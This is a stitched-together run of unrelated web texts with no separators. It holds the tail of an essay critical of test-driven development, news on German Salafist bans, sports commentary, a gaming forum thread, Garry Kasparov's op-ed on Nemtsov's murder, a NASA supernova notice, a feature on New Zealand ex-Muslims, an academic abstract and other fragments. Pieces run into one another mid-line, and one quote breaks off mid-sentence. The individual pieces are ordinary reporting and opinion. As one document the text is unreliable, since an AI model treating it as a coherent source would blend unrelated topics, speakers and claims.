TDD code also tends to focus on the very small picture: relentlessly testing individual methods instead of thinking in terms of classes and how they interact with each other. This goal is further crippled by another precept called YAGNI, (You Aren't Going to Need It), which suggests not preparing code for features that you don't immediately need. If your experience tells you that very soon, you are indeed going to need a feature, you might as well add it right away, even if it doesn't quite make sense just yet.
TDD appears very convincing on paper, or more precisely, on slides. It looks like a great way to design a scorecard for bowling a Stack or a List or a Currency class but I have always struggled to find how I can use it effectively in my day job (think mobile applications or GUI's), and I haven't yet found a convincing case where using it clearly outweighs its drawbacks.
Don't fall for the false dichotomy claiming that code that is not created with TDD is necessarily buggy. First, there is a lot of untested code out there that is working just fine; and second, testing "last" instead of "first" is an equally valid approach to this problem.
Code Coverage
Engineers like to measure things. Producing and evaluating numbers is a common way to measure progress and plan our work, such as how much of a program has been exercised by tests. This code coverage is derived by running your tests with a tool that keeps track of all the parts of your code that are invoked, and then issuing a report to tell you what areas were not run. It's difficult to argue against the idea, but like all techniques, it's easy to get carried away and lose track of the big picture.
I noticed two specific excesses regarding coverage: focusing on an arbitrary percentage and adding useless tests.
What percentage of your code should be covered before you can ship? 100%? 90%? 80%? You will find a lot of different numbers in the literature and I have yet to find solid evidence showing that any given number is better than another. Obsessing over numbers in the absence of context leads developers to write tests for trivial pieces of their code in order to increase this percentage with very little benefit to the end user (for example, testing getters). You should also keep in mind that these numbers represent static, not dynamic, coverage: 100% code coverage doesn't mean that you are testing everything that can possible happen to your code just that 100% of your code has been run at least once.
Running code coverage tools is a good practice, but you should exert caution when analyzing the reports. I recommend reviewing which pieces of your code base are not being covered and deciding for yourself whether not testing a particular area is reasonable or too risky.
There is a point of diminishing returns in increasing code coverage, so you should always wonder whether adding 1% to that number is more important than, say, improving an existing test case to make it more thorough or adding a new feature.
Conclusion
I have barely touched the surface of some of the testing misconceptions that pervade our profession, and I'd like to end on a positive note: All these techniques have beneficial aspects that you can experience only if you actually try them. Once you've done that, keep in mind that these methodologies are just tools, and that you should consider using them only after carefully examining the problem you are trying to solve and the context that surrounds it.For weeks, German officials have focused a significant amount of attention on the country's Salafists, members of a fundamentalist strain of Islam who are suspected of having close ties to Islamist extremists. On Thursday, they made their move, raiding Salafist facilities in seven German states and banning one of the most important Salafist groups in the country, the Millatu Ibrahim.
"The organization acts in opposition to the idea of constitutional order and multicultural understanding," German Interior Minister Hans-Peter Friedrich said on Thursday morning. He added that the group promotes violence in its "fight against existing constitutional order."
In addition, Friedrich say that two other Salafist groups have now been placed under investigation in the hopes of finding enough evidence to be able to ban them as well. Some 1,000 police officers took part in the early morning raids.
Authorities estimate that some 4,000 people belong to Salafist groups in Germany, and that it is the fastest growing strain of Islam in the country. Salafists are considered by the German government to be particularly dangerous and prone to violence, primarily because of their single-minded goal of establishing Sharia in Germany and their rejection of Western values. Furthermore, authorities believe that Salafist groups have close ties to jihadist fighters in Afghanistan and elsewhere.
Active Salafist Scene
Salafists have been in the headlines all spring, initially because of their drive to attract new members by handing out free Korans in major German cities. One of the groups heavily involved in that effort, known as "Die Wahre Religion" or "The True Religion," is among those now under investigation. The founder of Die Wahre Religion, Abou Nagie, has long been under observation by German officials due to his "support for martyrdom and the jihad in the sense of using violence to 'defend' Islam," according to a 2010 domestic intelligence report issued by the state of North Rhine-Westphalia. The state has an active Salafist scene.
Similarly, the other group now under investigation, Dawa FFM, seeks to radicalize followers by offering "Islam seminars." Authorities in the German state of Hesse, where the group is active, have long had Dawa FFM under observation; Arid Uka, the man who shot and killed two US servicemen and seriously wounded two others at the airport in Frankfurt in March 2011, reportedly was radicalized by Islam seminars offered by Dawa FFM.
Millatu Ibrahim, the group that was banned on Thursday, is led by Mohamed Mahmoud, an Austrian who had lived in Germany since 2011 before leaving the country for Egypt in recent weeks. Domestic intelligence officials believe Mahmoud is a key figure in Germany's jihadist scene. He served four years in jail in Austria after having been convicted in 2007 of creating and promoting a terrorist organization. He left Germany on his own after a court ordered that authorities could expel him.
Spotlight of Justice Officials
While the effort to hand out free Korans across Germany earned Salafists several headlines, it was their violent response to a campaign in North Rhine-Westphalia that landed them in the spotlight of justice officials.
In early May, the Islamophobic mini-party Pro-NRW launched a campaign to display anti-Islam caricatures in front of mosques and other Muslim facilities in North Rhine-Westphalia ahead of elections in the state. Counter-demonstrations in both Solingen and Bonn turned violent, with Salafists attacking police with rocks, sticks and even knives. In Bonn, 29 police were injured, two of them landing in the hospital with stab wounds.
Officials became even more concerned when a Salafist from Bonn, who is now in Afghanistan, issued a video message on the Internet in which he called for the death of Pro-NRW leaders and certain journalists. On Thursday, Pro-NRW took partial credit for the banning of Millatu Ibrahim.When Magic Johnson weighs in on point guards, people listen. After all, the L.A. Lakers great was voted the best point guard in NBA history by ESPN's #NBArank panel. But Johnson had a problem with how one of his rivals was ranked. He couldn't believe that Hall of Famer Isiah Thomas landed fifth, behind contemporary John Stockton and reigning MVP Stephen Curry.
ESPN ranked the Top 10 PGs of all time & they have @iamisiahthomas ranked 5th. There's no way Stockton & Curry are better than Isiah. - Earvin Magic Johnson (@MagicJohnson) January 13, 2016
Magic wasn't the only NBA legend to criticize Thomas' ranking.
I love Steph Curry, but don't be disrespectful.. @iamisiahthomas is definitely Top 3 All Time PG #DetroitBasketball pic.twitter.com/MAkcSAuuWK - grant hill (@realgranthill33) January 16, 2016
How is @iamisiahthomas #5 on your list @espn? He scored 25 pts in 1 qtr in NBA finals. @StephenCurry30 is a great player, but PUH-LEASE! - Dennis Rodman (@dennisrodman) January 14, 2016
Yet Thomas' advanced statistics tell a different story.
On Monday, I introduced my "championships added" metric to evaluate NBA players historically based on their statistical performance. Thomas, who finished 26th overall in #NBArank voting among all players, didn't appear in the top 40 of all time. In fact, Thomas wouldn't have appeared if we expanded the list to 50 players. Instead, he checks in at No. 52, 27 places behind Stockton.
This raises a natural question: Why is there such a discrepancy between Thomas' perceived value and his advanced statistics?Paying for graduate school just got a whole lot easier for Drexel University student Mike Dodds thanks to a couple of football throws.
Dodds, a 23-year-old biomedical engineering master's student from Leola, Pennsylvania, won the $100,000 grand prize in the Dr Pepper Tuition Giveaway on Saturday night.
"Winning the tuition prize felt surreal," Dodds said. "Receiving $100,000 in tuition was always something that was present in the back of my mind as a possibility, but far from being probable."
The student had to throw as many footballs as possible into an opening in an oversized Dr Pepper soda can during halftime of the nationally-televised ACC Championship game at Bank of America Stadium in Charlotte, North Carolina.
An emotional Mike Dodds collects his $100,000 oversized check after winning the grand prize.
Photo credit: Dr Pepper
Dodds told NBC10 his experience as a football player helped him in the competition.
"I played football from third grade all the way until my junior year of high school," he said. "For a good portion of that time frame, I was a quarterback operating a read-option system, which is where I derived my strategy from. The read-option system we ran required me to frequently pitch the ball under duress."
In a mere 30 seconds, he got 14 into the can.
"When I heard the countdown reaching zero and saw that I had a higher score in the halftime competition, my head was swimming," Dodds said. "Mainly because I was so excited to have a huge financial burden lifted from my life, but also because I knew a whole bunch of people were about to see me get pretty emotional on national TV. Overall, it was an intense combination of disbelief, gratitude, and joy with a slight hint of embarrassment."
Dodds went head-to-head against another college student from North Carolina. That student won $20,000 toward his college tuition.
In a video submitted to the competition, Dodds said he'd like to open a company that will design and build implants and prostheses for people. Dodds says the prize money will also help him in his pursuit of an MS in Biomedical Engineering.
"This will let me find or create an ideal job that I can excel at and make meaningful contributions through," he said. "That way I won't be rushed into taking whatever starting job I can find due to a massive cloud of debt looming overhead. It will also motivate me to get the absolute most out of my education."Chael Sonnen is certainly no stranger to the legal process.
The former UFC contender is serving a two-year suspension for testing positive for banned substances, but argues now former light heavyweight champion Jon Jones shouldn't face similar consequences.
Jones was suspended by the UFC and stripped of his title this week following his alleged involvement in a hit and run auto accident April 26 in Albuquerque, New Mexico.
"Listen, if you want to come down on a guy, you release him," Sonnen said this week on his podcast. "That's it. You don't keep him but take his belt away. Not even in professional wrestling would they do that. Take a guy's belt without him being out due to an injury? Without him losing one, two, three? It doesn't work that way.
"So lets just make believe that it does. You're going to punish Jon Jones for a legal action in Albuquerque, which has nothing to do with a fist fight taking place in Nevada, but let's pretend. What the hell do you do with him then? Does he not fight main events anymore? If he's not fighting for titles do we move him over to [Fox Sports 1]? Who does he fight? Does he fight the other No. 1 contenders?"
Anthony Johnson was due to challenge Jones May 23 in the main event at UFC 187 in Las Vegas. With former contender Daniel Cormier stepping in on short notice, 'Rumble' loses out on being the man who beat the man.
"Guys want to see Jon Jones stripped and then they want to fight for a title?" asked Sonnen. "But you don't cut him so he's still in the league. You know he can beat you. You know he's the undefeated champion. You know he's the best fighter out there. How are you going to put that belt around your waist and feel good about it? He didn't fail a drug test. He wasn't in violation with the commission.
"If Jon Jones stays in the division and you accept a title while he's still in the division and you didn't beat him, you're a punk. You're a punk! I would never put a belt around my waist knowing the guy five feet |
, 2016, 10:19:50 PM Posted by ThatsSoGoodman
on on Quote this Post
Welcome to why lightning coil is broken. It's almost impossible to deal yourself enough damage to shock/freeze yourself with coil/ToH since they made the durations of shocks and freezes lower. Capped lightning with coil needs something like a hit of 2/3s of your life pool to shock you (for the MINIMUM duration) and you need to be dealt more than 125% of your "life pool" in physical damage in one hit (barring an added cold damage mod) to be frozen by ToH.
In other words, get that ES down. Posted by AgaresOaks
on on Quote this Post
If you wanted to do this in standard, you could try to find a unique talisman that converts 100% of fire damage taken to cold damage then use something like the cloak of flame or, alternatively, use a talisman that converts 100% of lightning damage to cold damage to use Lightning Coil and proc your own freeze (try to lose all the ES and you should be able to freeze yourself frequently) Posted by Solavice
on on Quote this PostWhen the Russian opposition leader Boris Nemtsov was assassinated in sight of the Kremlin last Friday night, it shocked even those of us who thought we had lost the ability to be shocked by events in Vladimir Putin’s Russia. When Russian forces moved into Ukraine and Putin annexed Crimea a year ago, it was also a terrible shock to a world that had grown too comfortable with the belief that the days of changing Europe’s borders by force were long over. But we must cease to be surprised by the violence and hatred emanating from Russia today if we are to combat it successfully.
When the shock subsides and the evidence is examined, it is clear no one should truly have been surprised by either horrific event. Boris, with whom I worked closely for many years, often talked of the violent ends faced by those who spoke out against Putin. We all knew what could happen to any of us at any time, and a few months after I last left Russia, in February 2013, I decided I would not return.
Putin’s view of power was formed watching East Germany collapse | Mary Sarotte Read more
Police states are very good at keeping a monopoly on violence, and Putin’s Russia is no exception. When the victim is a former Russian deputy prime minister and a prominent critic of the regime, and his murder takes place in a wide open area right next to the Kremlin, the chance that it occurred without the involvement of Russia’s security services is vanishingly small. Boris was always under personal and electronic surveillance, but we are supposed to believe that his escort had the night off, and all nearby CCTV cameras happened to be down for repairs that day.
“But this is Mr Kasparov’s personal interpretation!” shouted one alarmed BBC presenter when I shared those observations in a live interview this week. “But the Russian government has categorically denied any involvement!” cried another. I accept that the things I say are my personal interpretation, but why is the BBC positioning itself as Putin’s defence attorney?
The man has a record; my insinuations are hardly far-fetched. Why cite the official statements of a dictatorship that lies and spreads propaganda at every turn without challenging them? It’s a good example of how the conventions of an open society are exploited by less scrupulous regimes. It represents the culture of engagement and appeasement that has come to replace the harder line of the cold war. But the time for unreciprocated fair play is over.
Yesterday I was in Washington DC, speaking to a US Senate subcommittee about how and why the Russian dictator must be stopped. Nearly every head in the room nodded in agreement as I and other invitees – such as the former Georgian president Mikheil Saakashvili – discussed the global danger presented by Putin’s increasingly belligerent regime.
The EU and US did little to take a stand that might have altered Putin’s course when it would have been relatively easy
The subcommittee circulated a detailed timeline of Russia’s slide back into dictatorship during Putin’s 15 years in power, noting each murder of a critic or journalist, each media outlet closure, each rigged election. I noted that it could easily have produced a parallel timeline of how the leaders of the western world treated the perpetrator of these atrocities at the time. As Putin’s human rights violations – and border violations – accumulated, the European Union and America did very little to take a strong stand that might have altered Putin’s course when it would have been relatively easy to do.
Consider the lesson Putin learned the last time Russian tanks crossed a border. In 2008 Russia provoked a military conflict over Abkhazia and South Ossetia, the quasi-independent areas it had helped carve out of Georgia when the USSR fell. Russian forces nearly reached Tbilisi before they turned back, and those supposedly independent regions are little more than Russia-controlled enclaves and a thorn in the side of the Georgians.
If you don’t remember what punishment was meted out to Russia for invading its tiny neighbour, it’s because there wasn’t any. Not only was Russia not punished over Georgia, a few months later Putin was rewarded by newly sworn-in President Barack Obama and his secretary of state, Hillary Clinton. Their infamous “Russian reset” wiped the slate clean, despite no real change in Kremlin behaviour. Based on that experience, it is no wonder Putin expresses surprise at the relatively robust response to his assault on Ukraine.
An appropriately strong reaction to Putin’s aggression in Ukraine and his brutality in Russia will require a battle on many fronts. Putin, like other modern autocrats, has an advantage that the Soviet leadership could never have dreamed of: deep economic and political engagement with the free world. The naive idea was that the free world would use economic and social ties to gradually liberalise authoritarian states. In practice, the authoritarian states have abused this access and economic interdependency to spread their corruption while cracking down ever harder at home.
For the most immediate crisis, Ukraine must be comprehensively supported militarily and economically. Defensive weapons to raise the political costs for Putin in Russia are essential. To address two of the most popular straw-man arguments: it isn’t necessary to defeat the entire Russian army, or start the third world war. Putin cannot afford to look like a loser, which is why he maintains the feeble illusion that Russian forces aren’t fighting in Ukraine.
Putin’s oligarch supporters must be forced to choose between giving him up and painful quarantine
Inflicting enough damage to pierce that illusion is enough. Putin is already blaming the US and Nato for everything in Ukraine so there can be no escalation in that regard. Ukraine may seem far away, but it is the frontline of a war the United States, the United Kingdom and the rest of the free world are fighting, whether they admit it or not.
Engagement has failed, and it is time for sterner stuff, the successful cold war recipe of isolation and condemnation. Putin’s oligarch supporters must be forced to choose between giving him up and painful quarantine. The Russian oligarchs are supporting a sponsor of terror in Ukraine, and there is no shortage of existing laws to prosecute such activity.
The opposition movement that Boris and I believed in, and that Boris died for, should be openly supported, the way the west once championed the Soviet dissidents. Ronald Reagan told those of us behind the iron curtain that he knew it was our leaders, not us, who were his adversaries. We listened and it mattered, and it should matter again. More than 100,000 people rallied to mourn Boris in Moscow last Sunday, a number that gives the lie to Putin’s meaningless approval numbers. Tell these people, and the millions too afraid to march, that they have a choice.
Russia will always be my country, but it is difficult to imagine returning while Putin is still in the Kremlin. I will continue to do whatever I can to draw support to the cause of returning Russia to the path of democracy. The western administrations that have passively watched Putin turn Russia back into a dictatorship – and invade his neighbours – are out of excuses. The next death in Ukraine or the next murder of a dissident in Moscow will be blood on their hands – and no investigation will be necessary.Media Telecon:
DISCOVERY OF MOST RECENT SUPERNOVA IN OUR GALAXY
May 14, 2008 (1 p.m. EDT)
Scientists have used NASA's Chandra X-ray Observatory and NRAO's Very Large Array to discover the most recent supernova explosion in our Galaxy, as measured in Earth's time frame.
Live audio of the teleconference will be streamed online at: http://www.nasa.gov/newsaudio
Instant replays are generally available one hour after a call ends, and will be through MAY-21-08 10:59 PM (CT)
Toll Free :866-501-2957
Toll: 203-369-1825
A video file about the discovery will air on NASA Television on May 14 at noon and 1pm (check the NASA TV schedule for additional times). NASA TV is carried on an MPEG-2 digital signal accessed via satellite AMC-6, at 72 degrees west longitude, transponder 17C, 4040 MHz, vertical polarization. NASA TV is available in Alaska and Hawaii on AMC-7 at 137 degrees west longitude, transponder 18C, at 4060 MHz, horizontal polarization.
Panelists:
Dr. Stephen Reynolds,
Dr. Dave Green,
Dr. Robert Kirshner,
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Additional Information
North Carolina State UniversityUniversity of CambridgeHarvard Smithsonian Center for Astrophysics1985 VLA and 2007 Chandra images of the supernova remnant G1.9+0.3, with a circle for size comparison.(Cont'd). Blink between 1985 VLA and 2007 Chandra images (move cursor over image).Optical image of the plane of the Milky Way, with G1.9+0.3 labeled.1985 VLA (radio) and 2008 VLA (X-ray) images of the supernova remnant G1.9+0.3.(cont'd). Blink between 1985 and 2008 VLA images (move cursor over image).Chandra images of historical supernova remnants in the Milky Way.An artist's impression of the Milky Way with positions of historial supernovas and G1.9+0.3.A composite image of G1.9+0.3 with Chandra X-ray (2007, orange); VLA Radio (1985, blue)An artist's close-up view of the supernova that caused G1.9+0.3.An animation showing a flight into the Milky Way's center and a supernova explosion there.A movie showing a large 2MASS image, with zooms to the Galactic Center and G1.9+0.3.A Chandra X-ray mosaic of the Milky Way's plane (galaxy center in middle; G1.9+0.3 is outside this two degree wide field).This extraordinarily deep Chandra image shows Cassiopeia A, the previous record holder for the youngest Galactic supernova remnant.Landscape photo of the Very Large Array antenna with the moon.Chandra X-ray Observatory - Spacecraft Illustration with Galactic Center Background.
Paper Title:THE YOUNGEST GALACTIC SUPERNOVA REMNANT: G1.9+0.3 (pdf format)
Full Author List: Stephen P. Reynolds(Department of Physics, North Carolina State University), Kazimierz J. Borkowski (Department of Physics, North Carolina State University), David A. Green (Cavendish Laboratory; Cambridge, UK), Una Hwang (NASA/GSFC), Ilana Harrus (NASA/GSFC) & Robert Petre (NASA/GSFC).
The radio expansion and brightening of the very young supernova remnant G1.9+0.3 (pdf format), David A. Green et al. 2008, MNRAS Letters Steve Reynolds: reynolds@ncsu.edu, 919-515-7751Dave Green: dag@mrao.cam.ac.uk, +44 1223 337305Bob Kirshner: rkirshner@cfa.harvard.edu, 617-495-7519Mayor appoints former Metropolitan Police Authority chair Lord Harris to examine how city would cope with multiple attacks
London’s ability to tackle a major terrorist attack is to be reviewed by the former chairman of the Metropolitan Police Authority, Sadiq Khan has announced.
The London mayor said the review of the city’s response – coming after the recent attacks on Paris and Brussels – would be led by Lord Harris, a former London Assembly member who oversaw the Met’s national counter-terror strategy for the Home Office.
“Nothing is more important to me than keeping Londoners safe,” the mayor said.
Sadiq Khan joins air pollution court case against UK government Read more
The review will look at how the city would cope if multiple attacks were launched, examining the arrangements in place across all the emergency services.
Khan said: “I want to be reassured that every single agency and individual involved in protecting our city has the resources and expertise they need to respond in the event that London is attacked.”
The emergency services along with Transport for London, the Port of London Authority and local government representatives will be contacted as part of the review, which is expected to release its findings in the summer.
The Metropolitan police commissioner, Sir Bernard Hogan-Howe, said: “Although we are confident the Met can deal effectively if terrorists did strike our city, and we test ourselves regularly, we are never complacent about the city’s security and recognise that there will always be ways in which we can improve.”The Koran says those who leave Islam will be subject to a "great torment".
This story was originally published in Newsroom.co.nz and is republished with permission.
New Zealand Muslims making the difficult - and potentially dangerous - decision to leave their faith are finding support in each another, writes Kelly Harricks.
"I called up the guy and I said, 'How many of us are there?' He said, 'You're the first one to call'. It was a council of one."
The council Hassan* called was the council of ex-Muslims of New Zealand.
These days, the organisation is no longer a council of one. Now it serves as a support network for New Zealand's growing number of ex-Muslims who have found themselves isolated from friends and family after leaving Islam.
There is a legitimate fear involved in leaving Islam; turning your back on the faith is referred to as apostasy. It is punishable by death in several countries, sometimes by law, and sometimes through mob violence.
Even in countries where the threat of physical harm or imprisonment is not a factor, many ex-Muslims stay in the closet for fear of being disowned by the people they love the most.
For Hassan leaving Islam resulted in years of estrangement from his family.
Hassan was born in New Zealand to Muslim parents and completed his schooling both in New Zealand and abroad.
He was a golden child of his community. Devout, with strong ties to the mosque and plenty of western friends, he was seen as a well-balanced Muslim.
His slow move from faith started during his university years.
After challenging Christian friends about what he saw as inconsistencies in the Bible, he then decided to analyse the Koran from an unbiased view.
"I read the Koran in English to understand, not just recite it. I remember my aunties and uncles telling me, 'Don't go too deep, ignorance is bliss. Just do as you're told rather than really trying to understand it because it will complicate things in your mind.'"
But, as Hassan read the Koran, he said his faith in it started to unravel.
"I had real issues with some of the stuff that was in there like beating your disobedient wife and having sex with your captives of war."
He found the answers Islamic scholars gave to his questions unsatisfactory.
"For instance, with the wife-beating thing I said, 'I have a real issue here because I've been brought up by my father and I've been told you shouldn't beat anyone, let alone a woman, no matter what the situation is.'
"All I got was excuses. Trying to play it down, 'Don't hit them too hard', 'Don't leave a mark', 'Use a toothbrush or a hanky', 'It's symbolic'. I thought, that's not good enough for me. I'm not buying that."
Hassan was not prepared to remain part of a religion he couldn't agree with. So he left.
At first, his family hoped it was a stage he was going through. This changed when he and his non-Muslim wife were expecting their first child.
"I said, 'Look dad, this is quite a happy time for us, we're about to have our first child, you're about to have a grandkid and you haven't even acknowledged my wife is pregnant.'
"He basically said to my face, 'I've decided when your child comes I will have nothing to do with them. There is no role for me in your child's life.'"
Despite Hassan assuring him that he wanted his child to know their culture and language, just not be subjected to religious indoctrination, his father was resolute. Without Islam, there would be no relationship.
"I guess they wanted to punish me for being like this. They also didn't want me influencing my other siblings. What they did was try to punish me and push me aside - ostracise me."
LEILA
Leila* was heavily pregnant when she suspected her Muslim husband, Ibrahim*, was having doubts about their religion.
"I knew there was something going on but when I would question him he would not really communicate with me. For a month I was a mess because I was thinking what's going to happen to us? Is the marriage going to separate? Is he going to leave Islam? I was telling him he needed to see some scholars and get back on to the path."
Ibrahim eventually shared his doubts in what Leila described as a massive vent.
"He was saying, 'Did you know Mohammad married a 6-year-old and consummated the marriage when she was 9?' It just came all spewing out and at that point I was still devout, I was still wearing the hijab, I was still practising, so I was in shock."
Leila began to research what her husband had told her and was horrified by some of what she found.
"I found a fatwa which was about an apostate's children, I had just had the baby. The fatwa was when they had reached the decision-making age – 10 or 12, then they had to choose and if they don't choose Islam they should be killed as well. It was just really traumatic to read this."
While Leila said the fatwa she found represents a minority view within Islam and wouldn't apply to countries not operating under Islamic law, the belief apostate adults should be killed is widely-held in some countries.
A 2013 Pew Research Centre study on sharia law found that in Egypt, Jordan, Afghanistan, Pakistan, Palestine, and Malaysia, the majority of those who favour sharia law also favour the death penalty for those who leave the faith, like Ibrahim.
"I still felt like he was a good person, he was a good husband, good with the kids. I love him and the idea that he would be killed under sharia law was really disturbing."
The rise of Isis also affected her thinking.
"In Islam, it's not just your family, it's the whole community you're leaving."
"If there was anything that seemed off in Islam, Muslims would say, 'But you know in an Islamic state it would make sense', - magically. This was also in the context of Isis and we were seeing they are inventing an Islamic state, and they are implementing hudud punishments [punishments specified by Allah in the Koran] and it's horrific."
Leila describes her transition from being a devout Muslim to being a non-believer as an incredibly lonely and disorienting time. She said, for her, everything shattered.
"I was crying all the time. I couldn't go behind my husband's back and throw him under the bus by talking to his family or community. I didn't feel like I could talk to anyone about it."
Ibrahim eventually announced leaving Islam to his family. His father's immediate response was to inform him his blood could be spilt. The next day his father and brother went to a lawyer to remove him from the will.
Leila said other responses were variations of "I never want to hear from you again, you're dead to me".
For Leila, letting friends know she was leaving the faith resulted in painful conversations.
Some didn't want to hear, some defended the issues Leila raised as to why she was leaving. One conversation ended with denial of the Holocaust.
"It was just hard. I was overwhelmed by the thought they all felt like we were evil and because I was still getting out of that belief system myself, I knew how strongly they felt about us.
"Ex-Muslims are the worst, because it's not just like a non-Muslim who maybe you can say, 'Oh, they just haven't seen the truth'. If you're an ex-Muslim you've seen the truth and you've denied it."
Leila found the New Zealand ex-Muslims group through Google and emailed Safwan – the same man Hassan phoned.
By this time more ex-Muslims had made contact and a private online group was created to make conversation among everyone easier.
"It was so nice. It was just amazing. Just someone that got it, that knew where we were coming from. I think if you're coming from a non-fundamentalist Judaeo-Christian background or from a secular background from New Zealand, it's just totally different. In Islam, it's not just your family, it's the whole community you're leaving," said Leila.
SAFWAN
Safwan*, the creator of the council of ex-Muslims of New Zealand, had been an active member of the Muslim community for many years when he began to research Islam more deeply.
His research led him to question his faith.
"The moment you begin picking it apart the whole thing falls apart in a very comprehensive way and there's no way you can resolve it."
He felt unable to talk to his wife, a practising Muslim, about his doubts.
"I couldn't talk to anyone at the mosque because you would then be regarded as a kaafir, or a doubter, you'll get in trouble and you don't quite know where that's going to go. I simply had nowhere else to turn to, I wasn't involved in social activities, I didn't play soccer on Sunday or anything."
An attempt to discuss his thoughts with a western co-worker ended badly with rumours spread about him within the industry he worked in.
"I caught sight of colleagues taking sneaky photos of me from behind screens. It was impossible to concentrate on my work, I just freaked out wondering what the hell was going on. I couldn't sleep, I lost weight.
"Suddenly I was a leper, a total outcast from the Muslim community and the western community. It was utterly horrendous. There's simply no one you can talk to."
In the hope he might find others in a similar position, Safwan set up the Council for ex-Muslims New Zealand website.
Two long years later, a New Zealand based ex-Muslim, Hassan, called him and they agreed to meet at a café.
"It means a huge amount to me to realise that I am not alone in this, and I am sure it means a great deal to others too. We all have different backgrounds, but much in common."
"We realised we knew all the same people in the community but all through the conversation I kept thinking, really, is he some sort of plant trying to trap me? It took a long time for me to trust him."
Hassan was not a plant and since that meeting the group has grown from a one-man council with a website, to a group that meets up regularly with a public Facebook page and private online group.
Privacy is a concern and Safwan said new members are screened before they can join the group.
"In New Zealand, we've got it easy with great personal freedoms and people are still fearful."
Safwan hopes the ex-Muslim group will continue to evolve over time as new members join.
"It means a huge amount to me to realise that I am not alone in this, and I am sure it means a great deal to others too. We all have different backgrounds, but much in common."
Politically the group has no goals although the council's website takes pains to point out they are not a right-wing, or racist, group wishing to attack Muslims.
"It's moral support; we're here for you to have a chat about it," said Safwan.
SHEIKH MOHAMMED AMIR
Also willing to chat with those having doubts about Islam is the chairperson of New Zealand's Ulama Advisory Board, Sheikh Mohammed Amir.
The board is comprised of Muslim scholars whose responsibilities include advising on religious matters in the community, upholding Islam, and educating the New Zealand community about Islam.
Sheikh Amir said if someone came to him with questions about Islam he would try to offer clarification.
"We will try to explain it to them but it is not up to us to convince them. It is something that is their right and freedom to choose whatever they want to choose."
A person leaving Islam in New Zealand would "mean nothing", Sheikh Amir said as the death penalty for apostasy only applies in countries following Islamic law.
Contrary to the experiences shared by Hassan and Leila, Sheikh Amir said cutting children off for leaving Islam was not common.
"It varies from individual to individual, but if the family decides not to speak to the person or ban him, or not have any relationship, that is up to the family.
"If they [the family of the person who has left Islam] choose to do this because of religion, perhaps it is creating issues or problems because that person comes to the house and starts speaking and the environment of the house doesn't seem to be very good because of his presence. If they feel, well, let us cut him off. Let him be at peace without interrupting and interfering with him, if they choose it, it's up to them."
"It is something that is their right and freedom to choose whatever they want to choose."
As Muslim parents struggle with their child's choice to leave the religion behind, they often blame themselves, he said.
"When children make mistakes, when they do things that cause shame to the family, of course [parents] will feel some degree of guilt that maybe there were some defects, some lack in their upbringing. That there may be some shortfall in their care."
Sheikh Amir said if one of his own children chose to leave Islam he would maintain a relationship with them.
"It would be a very, very unfortunate situation and it would be very concerning. All we can do is try to explain to them. If after this we are unable to convince them, we pray for them – for their guidance.
"We would not cut them off because without the contact how are we going to fix them?"
HASSAN
Hassan, whose phone call to Safwan started the growth of the ex-Muslim council, now has two children.
He said he wanted to share his story of leaving Islam to give hope to others.
"I guess mine is a positive story. Most of the ex-Muslim stories we hear are pretty horrible, being rejected by the family and then it's just miserable. They suffer from all of these issues, depression and things like that. For me it seems like things might be getting a bit better."
After years of estrangement his father has again become involved in their lives.
Hassan's children are growing up knowing their Muslim grandparents; at family gatherings, they play with Muslim cousins.
With a community of more than 46,000 with 25 per cent born in New Zealand, the number of New Zealand-raised Muslims is increasing.
Hassan said Muslim children being schooled in New Zealand will, just as he did, ask challenging questions about religion.
In the Muslim country where Hassan completed some of his schooling, questions were discouraged.
"I remember being told by the teachers - don't even ask those kind of questions, it's a sin to think about those kinds of things.
"Kids, born and raised here, they are asking some difficult questions already, like, 'Why is Allah letting kids in these countries suffer?' Their parents don't have the answers for the difficult questions they're asking.
"I don't think they will be easily satisfied with stupid answers – or being told don't think about that."
* Names have been changed on request.
- Council of ex-Muslims of New Zealand: http://www.cemnz.org/
- Council of ex-Muslims of New Zealand Facebook page.
This story was originally published in Newsroom.co.nz and is republished with permission.26 Pages Posted: 25 Sep 2010 Last revised: 25 Aug 2011
Date Written: August 25, 2010
Abstract
Few would quarrel with the influence and significance of popular culture on society. However culture is vaporous, hard to capture, harder to gauge. Besides pure democracy, the arts remain one of the most effective and accepted forms of societal indicia. A song, dance or a painting may provide tremendous information on the cultural mores and practices of a society. Hence, in an agrarian community, a song may be a mundane hymn recital, the celebration of a harvest or the mourning of lost lives in a draught. Similarly placed as songs and dance, popular movies serve functions beyond mere Id satisfaction. A movie can reaffirm old truths and crystallize new beliefs. Hence we do not find it awkward when a movie depicts a crooked politician accepting a bribe or a television anchor disdainfully chasing TRP’s. This happens because we already hold politicians in disrepute, and have recently witnessed sensationalistic news stories which belong in a Terry Prachet book rather than on prime time news. With its power and influence Hindi cinema has often dramatized courtrooms, judges and lawyers. This article argues that these dramatic representations define to some extent an Indian lawyer’s perception in society. To identify the characteristics and the cornerstones of the archetype this article examines popular Bollywood movies which have lawyers as its lead protagonists. The article also seeks solutions to the lowering public confidence in the legal profession keeping in mind the problem of free speech and censorship. Finally, this article aims to put up a looking glass to lawyers, tinted by drama, action, romance and the frequent song and dance sequences.Barack Obama Barack Hussein ObamaWith low birth rate, America needs future migrants 4 ways Hillary looms over the 2020 race Obama goes viral after sporting black bomber jacket with '44' on sleeve at basketball game MORE will go down in history as, among other things, the first president to brew his own beer in the White House.
The blog Obama Foodorama reported this week that the president's Super Bowl party featured a selection called "White House Honey Ale,” brewed right at 1600 Pennsylvania Ave.
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The blog said the president and first ladybought the equipment with their own funds (an aide did not specify when) in advance of serving it at the February gathering.The "honey" part of the beer comes from Michelle Obama's garden beehive. The beehive is also a White House first.Foodorama notes that Obama is the first president since George Washington to homebrew beer, and the very first to offer the brew at the White House. (Washington was a perennial self-brewer, the blog said, but he’s the only president who didn't live in the White House.)The news sparked a small flurry in the blogosphere given that Obama, who has previously settled friendly bets between world leaders with beers like Goose Island's 312, had not shown a predilection for do-it-yourself beers. Obama settled a World Cup bet last summer with British Prime Minister David Cameron by giving his English counterpart a bottle of 312. And during 2009's so-called "beer summit" with Vice President, Henry Louis Gates Jr. and Massachusetts Police Sgt. James Crowley, Obama drank a Bud Light.Although the White House isn't ready to release the recipe yet, a spokesman told Foodorama that “White House Honey Ale” isn't a one-time thing."It is very safe to assume that there will be more White House beer in the future," White House East Wing spokeswoman Semonti Stephens said.Journalist Joy Reid placed a Donald Trump supporter in her cross hairs when he claimed underprivileged Americans are unproductive.
The back-and-forth occurred on Twitter Sunday, Feb. 19 when the MSNBC correspondent discussed what Jesus meant when he called for society to be compassionate.
